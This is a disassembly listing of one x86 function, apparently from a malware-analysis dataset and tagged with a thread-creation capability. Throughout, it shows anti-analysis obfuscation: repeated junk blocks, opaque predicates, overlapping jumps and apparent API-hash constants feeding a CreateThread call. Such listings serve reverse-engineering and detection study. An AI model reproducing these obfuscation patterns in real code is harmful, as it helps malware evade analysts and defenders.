Function at 0x1001d120
Capabilities:
Create thread

Disassembly:
jae 0x1001d11e
jmp 0x1001d119
call fcn.1001d120
jae 0x1001d119
add esp, 4
jmp 0x1001d125
dec dword [esp]
jno 0x1001d12a
jns 0x1001d115
jp 0x1001d12e
add esp, 4
popf
jmp 0x1001d135
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d14e
jne 0x1001d14e
call 0x1fc204a2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1001e370
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
clc
jae 0x1001d179
test al, 0xe7
pushf
push 0xa
jae 0x1001d186
jmp 0x1001d181
call 0x1001d188
jae 0x1001d181
add esp, 4
jmp 0x1001d18d
dec dword [esp]
jno 0x1001d192
jns 0x1001d17d
jp 0x1001d196
add esp, 4
popf
jmp 0x1001d19d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d1b6
jne 0x1001d1b6
out 0x7c, eax
add ebp, ebx
add esp, edi
jl 0x1001d1bb
jmp 0x1001d1bd
je 0x1001d1b8
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d1d7
jne 0x1001d1d6
call 0x9305c25e
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d1e5
jne 0x1001d1e5
call 0xd8a57b0
invalid
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x280], 0
clc
jae 0x1001d208
cdq
pushf
pushf
push 0xa
jae 0x1001d215
jmp 0x1001d210
call 0x1001d217
jae 0x1001d210
add esp, 4
jmp 0x1001d21c
dec dword [esp]
jno 0x1001d221
jns 0x1001d20c
jp 0x1001d225
add esp, 4
popf
jmp 0x1001d22c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d245
jne 0x1001d245
bnd jl 0x1001d24a
jl 0x1001d24a
jmp 0x1001d24c
je 0x1001d247
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d266
jne 0x1001d265
call 0x9305c2ed
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d274
jne 0x1001d274
call 0xcb6583f
invalid
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x288], 0
xor eax, eax
test eax, eax
je 0x1001d291
jne 0x1001d290
call 0x9305c318
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
and dword [ebx + edi*8 - 8], esi
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d29f
jmp 0x1001d2a1
je 0x1001d29c
clc
jae 0x1001d2a6
sbb byte [ecx], ah
je 0x1001d2ab
jne 0x1001d2ab
and dword [esi - 0x64], esp
pushf
push 0xa
jae 0x1001d2b8
jmp 0x1001d2b3
call 0x1001d2ba
jae 0x1001d2b3
add esp, 4
jmp 0x1001d2bf
dec dword [esp]
jno 0x1001d2c4
jns 0x1001d2af
jp 0x1001d2c8
add esp, 4
popf
jmp 0x1001d2cf
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d2e8
jne 0x1001d2e8
call 0x1fc2063c
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x290], 0
clc
jae 0x1001d312
invalid
pushf
push 0xa
jae 0x1001d31f
jmp 0x1001d31a
call 0x1001d321
jae 0x1001d31a
add esp, 4
jmp 0x1001d326
dec dword [esp]
jno 0x1001d32b
jns 0x1001d316
jp 0x1001d32f
add esp, 4
popf
jmp 0x1001d336
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d34f
jne 0x1001d34f
movsd dword es:[edi], dword [esi]
jl 0x1001d354
jmp 0x1001d356
je 0x1001d351
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d370
jne 0x1001d36f
call 0x9305c3f7
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d37e
jne 0x1001d37e
call 0xd6e5949
invalid
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x2a4], 0
xor eax, eax
test eax, eax
je 0x1001d39b
jne 0x1001d39a
call 0x9305c422
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d3a9
jmp 0x1001d3ab
je 0x1001d3a6
clc
jae 0x1001d3b0
push cs
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x1001d3b5
jne 0x1001d3b5
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x1001d3c2
jmp 0x1001d3bd
call 0x1001d3c4
jae 0x1001d3bd
add esp, 4
jmp 0x1001d3c9
dec dword [esp]
jno 0x1001d3ce
jns 0x1001d3b9
jp 0x1001d3d2
add esp, 4
popf
jmp 0x1001d3d9
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d3f2
jne 0x1001d3f2
call 0x1fc20746
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x2a0], 0
clc
jae 0x1001d426
pop edi
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x1001d433
jmp 0x1001d42e
call 0x1001d435
jae 0x1001d42e
add esp, 4
jmp 0x1001d43a
dec dword [esp]
jno 0x1001d43f
jns 0x1001d42a
jp 0x1001d443
add esp, 4
popf
jmp 0x1001d44a
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d463
jne 0x1001d463
arpl word [ebx + eax - 0x15], di
add esp, dword [ebx + 0x74]
sti
jl 0x1001d468
jmp 0x1001d46a
je 0x1001d465
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d484
jne 0x1001d483
call 0x9305c50b
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d492
jne 0x1001d492
call 0xd7e5a5d
invalid
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x344], 0
clc
jae 0x1001d4b5
rol dword [edx + 0x66], 1
pushfd
pushf
push 0xa
jae 0x1001d4c2
jmp 0x1001d4bd
call 0x1001d4c4
jae 0x1001d4bd
add esp, 4
jmp 0x1001d4c9
dec dword [esp]
jno 0x1001d4ce
jns 0x1001d4b9
jp 0x1001d4d2
add esp, 4
popf
jmp 0x1001d4d9
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d4f2
jne 0x1001d4f2
inc edx
jl 0x1001d4f7
jmp 0x1001d4f9
je 0x1001d4f4
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d513
jne 0x1001d512
call 0x9305c59a
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d521
jne 0x1001d521
call 0x16edf9dd
mov ebp, 0xd88d8d50
invalid
mov eax, 0xbd06ec24
push eax
lea ecx, [ebp - 0x128]
call 0x1001c8e0
mov dword [ebp - 0x2a8], eax
mov ecx, dword [ebp - 0x2a8]
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x2ac]
push edx
call fcn.1001e960
add esp, 4
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x128]
call fcn.1001ccf0
xor eax, eax
test eax, eax
je 0x1001d57b
jne 0x1001d57a
call 0x9305c602
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
arpl word [ebx + edi*8 - 8], si
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d589
jmp 0x1001d58b
je 0x1001d586
clc
jae 0x1001d590
jbe 0x1001d5f3
je 0x1001d595
jne 0x1001d595
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x1001d5a2
jmp 0x1001d59d
call 0x1001d5a4
jae 0x1001d59d
add esp, 4
jmp 0x1001d5a9
dec dword [esp]
jno 0x1001d5ae
jns 0x1001d599
jp 0x1001d5b2
add esp, 4
popf
jmp 0x1001d5b9
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d5d2
jne 0x1001d5d2
call 0x1fc20926
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, 0x9d2afa4a
push eax
lea ecx, [ebp - 0x68]
call fcn.1001c6e0
mov dword [ebp - 0x2b0], eax
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x2b4]
push edx
call fcn.1001e960
add esp, 4
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.1000dfd0
clc
jae 0x1001d633
push eax
std
invalid
and byte [esi], ch
pushfd
pushf
push 0xa
jae 0x1001d640
jmp 0x1001d63b
jae 0x1001d63b